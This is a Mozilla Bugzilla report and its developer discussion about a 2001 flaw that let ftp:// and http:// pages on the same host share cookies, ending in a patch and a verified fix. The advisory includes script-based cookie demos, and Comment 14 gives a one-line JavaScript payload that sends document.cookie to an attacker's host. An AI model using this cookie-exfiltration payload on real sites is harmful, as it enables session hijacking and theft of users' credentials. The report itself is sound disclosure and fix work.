90644 - ftp://foo/ and http://foo/ share cookies

Status: VERIFIED FIXED

(Core :: Networking: Cookies, defect, P2)

Description

[3APA3A]

From Bugzilla Helper:
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; 0.8.1) Gecko/20010323
BuildID:    2001032319

Topic:                    Netscape/Mozilla ftp:// crossite scripting
Author:                   3APA3A <[e-mail]>
Affected Software:        Mozilla 5.0, Netscape 4.72
Not affected:             Internet Explorer 5.5
Risk:                     Low
Remotely Exploitable:     Yes
Impact:                   Javascript  execution in security
                          context of another web server
Released:                 13 July 2001
Vendor URL:               http://www.netscape.com
                          http://www.mozilla.org
SECURITY.NNOV advisories: http://www.security.nnov.ru/advisories



Scenario:  You have hosting provider with 1 box and multiple
virtual domains:

 www.domain1.com
 www.domain2.com
 www.domain3.com
 www.domain4.com

Same host has ftp server.

Vulnerability:

Having  write  access  to  FTP  server  allows  to  execute
javascript in context of any virtual server because
ftp://www.domain1.com and http://www.domain1.com
act in same context.

Scenario:

Place    document    evil.html    with    something   like
<script>alert(this.document.cookie)</script>  in somedir. If
this document can be accessed with

ftp://www.domain1.com/somedir/evil.html   it  can  also  be
accessed    via   ftp://www.domain2.com/somedir/evil.html,
ftp://www.domain3.com/somedir/evil.html, etc.

If server doesn't allow anonymous FTP, URL in form

ftp://user:[e-mail]/somedir/evil.html

can be used.


Reproducible: Always
Steps to Reproduce:
1. Download file with script to FTP
2. Visit HTTP page with cookies on the same server
3. visit FTP page

Actual Results:  Cookie will be shown

Expected Results:  http://server and ftp://server should work in different
security contexts.

Comment 1

[Phil Schwartau]

Browser, not engine --> Security:General

Comment 2

[Mitchell Stoltz (not reading bugmail)]

http:// and ftp:// pages *do* work in different security contexts. If I
understand what you're saying here, this is a server configuration problem, not
a problem the browser can fix. If a website allows anyone to upload content via
ftp which is then downloadable via http (or ftp or any other means), then that
content, when downloaded, will run in the security context (the principal) of
the website, even though the website owners did not create that content.

The browser *does* treat http://server1/file.html and ftp://server1/file.html as
coming from two different principals - one will not have access to the other.
That's not the issue here. The issue is that the server allows FTP uploads to
its website at all. This is not a problem the browser can address.

If I have misunderstood, please clarify.

Comment 3

[Jesse Ruderman]

The problem here isn't that anyone can upload content via ftp that can be viewed
over http.  The problem is that a cookie set from http://www1.domain.com/ can be
viewed by javascript in an html document at ftp://www1.domain.com/, even though
http://www1.domain.com/ and ftp://www1.domain.com/ might be owned by different
people.

Changing summary from "Netscape/Mozilla ftp:// crossite scripting" 
to "ftp://foo/ and http://foo/ share cookies", and reopening.
I was able to reproduce this bug by:
1. Go to http://ftp.mozilla.org/.
2. javascript:alert(document.cookie = "Foo!");
3. Go to ftp://ftp.mozilla.org/.
4. javascript:alert(document.cookie);

Result: Get an alert with "Foo!" in it.
Expected: Get an alert with "undefined" in it.

Note: this cookie-sharing happens between http and https too (at least when
tested using javascript and document.cookie), but that might be intentional.

Comment 4

[Jesse Ruderman]

3APA3A sent me this by e-mail, but I think he meant it for all of us.  (3APA3A,
you can enter comments directly on the bug using the URL
http://bugzilla.mozilla.org/show_bug.cgi?id=90644.)

-----

via  FTP I was able to access any kind of cookies, including
session-id's.

> Note:  this  cookie-sharing  happens  between http and
> https  too  (at least when tested using javascript and
> document.cookie), but that might be intentional.

It's  not  a bug. https must use "secure" cookies as defined
in  RFC2109.  If "secure" is not defined within https cookie
this cookie may be sent via http by the browser according to
this  RFC. If "secure" is specified cookie can't be sent via
unsecured channel.

If  you'll  find server software which will use non-"secure"
cookie  via SSL you can treat this software as insecure. For
example see
http://www.microsoft.com/technet/security/bulletin/ms00-080.asp

-----

Comment 5

[Mitchell Stoltz (not reading bugmail)]

Ah, I misunderstood. Yes, this seems like a bug. Security Manager treats
http://foo and ftp://foo as distinct trust domains, but it appears that the
cookie code does not. This is a bug. Reassigning to Cookies.

Comment 6

[Viswanath Ramachandran]

nav triage: Mitch - how serious a security bug is this, how would you prioritize 
it from a security standpoint? thanks! Vishy

Comment 7

[Mitchell Stoltz (not reading bugmail)]

This is pretty serious. I've set severity to 'major.' If a web host sets cookies
for authentication or puts other sensitive data in cookies, and also has an ftp
server at the same hostname that allows uploads, then anyone who can upload to
the ftp server has the ability to steal cookies set by the http server.

Comment 8

[Stephen P. Morse]

I'm confused as to what this bug is all about.  Is it about the fact that a 
person can upload files to an ftp server?  Or is it about the fact that cookies 
set by an ftp site are sent to the http site and vice versa?

Comment 9

[Jesse Ruderman]

This bug is about the fact that cookies set by an ftp site are sent to the http
site and vice versa.

Comment 10

[Stephen P. Morse]

OK, so this has nothing to do with uploading to an ftp site.  That clears up 
my confusion.

Now is the following statement (appearing above in this report) true?

   http://www1.domain.com/ and ftp://www1.domain.com/ might be owned
   by different people.

In other words, when someone buys a domain, does he buy it for a particular 
protocol or does he buy it across all protocols?  I would have thought the 
latter.  Otherwise one person could buy the domain for http and another for 
https and this too would lead to the privacy breach of one site seeing cookies 
that were set by the other.

Does anyone have an example of ftp:://x.com being owned by a different entity 
than http://x.com?  If not, then this bug report is invalid.

Comment 11

[Mitchell Stoltz (not reading bugmail)]

No, it's not invalid. The problem is not that http://www1.domain.com/ and
ftp://www1.domain.com/ might be owned by different people. I agree that that's
probably not allowed. But the entity that owns the domain name does not
necessarily retain full control over the content served from that domain. Anyone
who is allowed to upload content to the ftp server can steal cookies set by the
http server, and I believe this is contrary to people's expectations.

When the JavaScript security manager compares two URLs to determine if a script
at one should have access to content at the other, it treats different protocols
on the same host/domain as being different domains. I think cookies should
behave the same way (possibly with an exception for http/https, as it's
generally understood to work this way). Otherwise, we have a disparity in
security policies between DOM and cookies.

Does the RFC say anything about this issue?

Comment 12

[Stephen P. Morse]

So it does have to do with uploading and not with different people owning http 
and ftp sites for the same domain.  Is that correct?  Are we all in agreement on 
that?

If anyone disagrees and believes that there is a problem when different people 
own the same domain on different protocols, then open a new bug report on that 
topic.  This bug report addresses the uploading issue only.

Comment 13

[Stephen P. Morse]

So now let's look at the security problems involved with the uploading issue.

Mitch pointed out that "the entity that owns the domain does not necessarily 
retain full control over the content served from that domain" because of the ftp 
uploading ability.  This is true.  But does this lead to a security hole?  Let's 
consider the scenarios:

1. http cookies sent to ftp server:

Suppose a user visits the http site and some cookies get set. Also suppose an 
unrelated third party has put up some content on the ftp server.  Then user goes 
to visit the ftp server to download that content.  It is true that the cookies 
set by the http site will be sent back to the server at this point.  But who 
gets those cookies -- the unrelated third party or the bonafide server?  The 
server of course.  The third party never sees the cookies.  There is no security 
hole here.

2. Uploaded content accesses cokies

Now suppose that the uploaded content contains javascript for accessing any 
cookies that are visible to the domain.  Then, yes, the page on the ftp site 
will be able to access those cookies set by the http site.  And it can display 
the cookies on the user's screen.  But that's not a security hole.  The question 
is whether the javascript in the content has the ability to transmit these 
cookies to the third party who put up the content.  If so, then there is a 
potential problem.  And if not, then this bug report is invalid.

Can someone describe a method whereby the javascript in the uploaded content can 
transmit the cookie information it receives to the unrelated third party?

Comment 14

[Jesse Ruderman]

<script>location = "http://localhost/?" + escape(document.cookie);</script>

(Replace localhost with the attacker's hostname.)

Comment 15

[Stephen P. Morse]

OK, nice attack.

But now I claim that if the site allowed users to put up arbitrary content, then 
the hole is at the site and not in the browser.  If the site had cookies in 
their http domain that were not for public viewing, then they should never had 
allowed access to that same domain to untrusted users in the ftp domain.

Here's an example of the same sort of problem and doesn't even require going 
between http and ft.  Netscape allows untrusted people to put up content at 
http://sites.netscape.net.  That means that if netscape itself had any private 
cookies in that same domain, those cookies could be read and transmitted to the 
untrusted person.  Furthermore, each untrusted person can get to see the cookies 
of all the other untrusted people.  The solution here is that the server should 
know better than to use private cookies in such an open environment.

Therefore I feel that this bug report is invalid.

Comment 16

[Stephen P. Morse]

Let me add one more point.  The current behavior is what netscape 4.x does and 
probably what IE does as well.  If we change the behavior, we are probably going 
to break some legitmate websites that relie on such cookie sharing.

Comment 17

[Viswanath Ramachandran]

nav triage: this does not look as bad as it did on first look, however we would 
like to be very cautious and conservative when a bug has security implications, 
lets fix this one soon. 

Comment 18

[Mitchell Stoltz (not reading bugmail)]

OK, I'm convinced this isn't a must-fix, but I still think we should consider
it. Does the average site developer expect that http and ftp sites at the same
domain can share cookies?

Comment 19

[Jim Roskind]

Morse says this is what Nav 4.x does.  Can we get confirmation that this is what 
IE does?

I can almost believe that some sites depend on this.  Both FTP and HTTP ports 
are in the "protected" range (below 1000) on machines, and hence under control 
of the system administrators.  Although it might be nice to help out the 
security of some sites, I could easilly argue that this is just one more point 
that a server site needs to get correct (there are a pile of ways that a server 
site has to be careful about accidentally hosting 3rd party (malicious) content 
that could access cookies).

With security fixes, we get burnt very badly if we break backwards 
compatibility.  As a result, until this turned into a clearer problem, we should 
 probably (if we're worried) get a hidden pref in place.  This would get the 
logic coded up, and allow paranoid users to flip the switch if needed.  At a 
moments notice, we could also set the default to the pref to be "block".

Cookies are all too often used as authentication info.... and that would be 
perfect for transitioning to an ftp download area (although I do need to think 
through what the heck most ftp servers would do if they were given cookies in 
the protocol :-/).  Do we actually send the cookies (somehow) or is this issue 
restricted to JS access??

Comment 20

[3APA3A]

IE 4 doesn't allow HTTP cookie to be retrieved via FTP.

Comment 21

[3APA3A]

Sorry, I ment IE 5.5. I didn't tested IE 4.

Comment 22

[Paul Chen]

nav triage team:

What jar suggests sounds good. We should at least try to prevent future trouble
for ourselves when we can, but not for mozilla0.9.4. Marking mozilla0.9.5.

Comment 23

[Paul Chen]

really marking mozilla0.9.5 ;-)

Comment 24

[David Hallowell]

The main problem is that HTTP has a Host: header so multiple domains can be
hosted on a single IP address (name based virtual hosting), however ftp doesn't
have such a facility. This is descirbed in the original comments. So if the
hosting provider also runs an FTP site then this can be exploited.

Comment 25

[Stephen P. Morse]

There seems to be agreement here on following jar's recommendation, so let me 
summarize what that is:

1. The problem is on the server side ("this is just one more point that a server 
site needs to get correct")

2. It's risky for us to make a browser fix for this ("we get burnt very badly if 
we break backwards compatibility")

3. We should not change the browser's behavior at present ("until this turned 
into a clearer problem")

4. We should have a fix available that we can enable later under control of a 
pref if this becomes necessary ("get a hidden pref in place")

So the bottom line is that this is not really a browser problem but we should be 
prepared in case the press makes it appear as such in the future.  
Unfortunately, it's going to be difficult to have such a fix available for the 
following reasons:

1. The current cookies.txt file does not indicate the protocol so we would have 
no way of knowing what protocol was used when the cookie was set

2. We cannot change the format of the cookies.txt file to include the 
protocol because any such change in format would break backward compatability.

3. We could maintain a parallel file that indicates the protocol of each cookie 
in the cookies.txt file.  This is no longer a trivial change.

Because of the agreement that this is not a browser issue, and the difficulty of 
implementing jar's suggestion, I am going to close this out as WONT-FIX.

Comment 26

[Jesse Ruderman]

See also bug 152725.

Comment 27

[Stephen P. Morse]

Here's a pair of urls to demonstrate this problem:

   ftp://[e-mail]/ftp.html
   http://users.starpower.net/drkehs/http.html

Comment 28

[Stephen P. Morse]

Here's a pair of urls that demonstate this supposed attack:

   ftp://[e-mail]/ftp.html
   http://users.starpower.net/drkehs/http.html

Both are identical in that they set a cookie and display all cookies that they 
can read.  The http.html fil is

  <html>
    <body>
      <script>
        document.cookie = "http=true;domain=.starpower.net;path=/";
        alert(document.cookie);
      </script>
    </body>
  </html>

and the ftp.html is the same except the cookie name is ftp instead of http.

When executed from nav 4.x or mozilla, the cookie that is set by http.html is 
read by ftp.html and vice versa.

The question comes up as to why is IE not susceptible to this attack.  So I 
tried that.  It turns out that IE doesn't even let you display content from an 
fpt site.  So when you enter the following line in the url bar

   ftp://[e-mail]/ftp.html

you get a message saying  "The page cannot be displayed".

Well that's one way around it.  If we wish to be as strict as IE and prohibit 
ftp content from being displayed, we would not be susceptible to this.

However I still stand by my original stance -- namely this is not an attack.  If 
a site allows untrusted users to put up ftp content, then they must make sure 
that they never set cookies from the http servers in a domain that is visible to 
the ftp content.

Comment 29

[Stephen P. Morse]

OK, you are going to need a password to get into that drkehs account that I just 
posted.  For those with a need-to-know, contact me directly and I'll supply the 
password.

Comment 30

[Mitchell Stoltz (not reading bugmail)]

I think we should reconsider this, and at the risk of opening a big can of
worms, I am reopening the bug. This could, as others have concluded above, be
construed as purely a site configuration problem. However, that does not
preclude us from fixing the problem in the browser and thereby give site owners
a hand. I don't believe compatibility will be an issue. Our primary concern
should be IE compatibility, not Netscape 4.x compatibility, and all recent
versions of IE do not allow HTTP and FTP sites at the same hostname to share
cookies, which means it's highly unlikely that making this change will break any
site.

Comment 31

[Stephen P. Morse]

It's not that IE doesn't let ftp and http sites to share cookies.  Rather IE
doesn't even let fpt sites display content.  So that's why it's a non-issue on IE.

Do we want to make that radical a change in our browser?

Comment 32

[Jesse Ruderman]

I was able to load an HTML page from an ftp directory listing in IE, but when I
used javascript to set a cookie, setting the cookie was a noop.  Making ftp
cookies distinct from http cookies would be less radical than what IE does.

Comment 33

[Stephen P. Morse]

Although I still don't believe that this is a problem (per my remark in the last
paragraph of comment 28), I'd like to put this to bed once and for all.

IE's fix for this is to not allow html content to execute from an ftp site.  It
appears that Jesse disagrees with that (comment 32), but when I tried to bring
up the ftp url (given in comment 28)in the IE browser, I got a message saying
"This page cannot be displayed".  Jesse's comment was that IE does allow this,
but that the javascript set-cookie call is a no-op.

Well we can do something similar.  Specifically we can refuse to either set or
get cookies if the scheme is ftp.  I'll attach a patch that accomplishes that.

Comment 34

[Stephen P. Morse]

Attachment: prevent ftp sites for setting/getting cookies

Comment 35

[Darin Fisher]

Comment on attachment 97004 [details] [diff] [review]
prevent ftp sites for setting/getting cookies

sr=darin

seems reasonable to me given that this shouldn't break any legit sites.  i'm
very interested in the "other protocols" issue.

Comment 36

[Mitchell Stoltz (not reading bugmail)]

Comment on attachment 97004 [details] [diff] [review]
prevent ftp sites for setting/getting cookies

r=mstoltz. This patch looks fine to me, although it doesn't address gopher or
any other protocols we haven't thought of. I filed bug 165334 on the more
general issue, but I don't object to this specific fix for ftp.

Comment 37

[Stephen P. Morse]

Fix was checked in on August 29.  Forgot to close this out as fixed.

Comment 38

[Robert O'Callahan (:roc) (email my personal email if necessary)]

This should be marked FIXED --- right?

Comment 39

[Stephen P. Morse]

This bug report is fated not to be closed.  I forgot to close it out when I
checked in the fix on August 29.  Then when I realized it, I made a comment on
September 10 and thought I was closing it out then.  Now I'm really closing it
out (I hope).

Comment 40

[benc]

VERIFIED: Mozilla 1.4b, all plats.

Comment 41

[Daniel Veditz [:dveditz]]

Removing confidential flag for bugs fixed over a year ago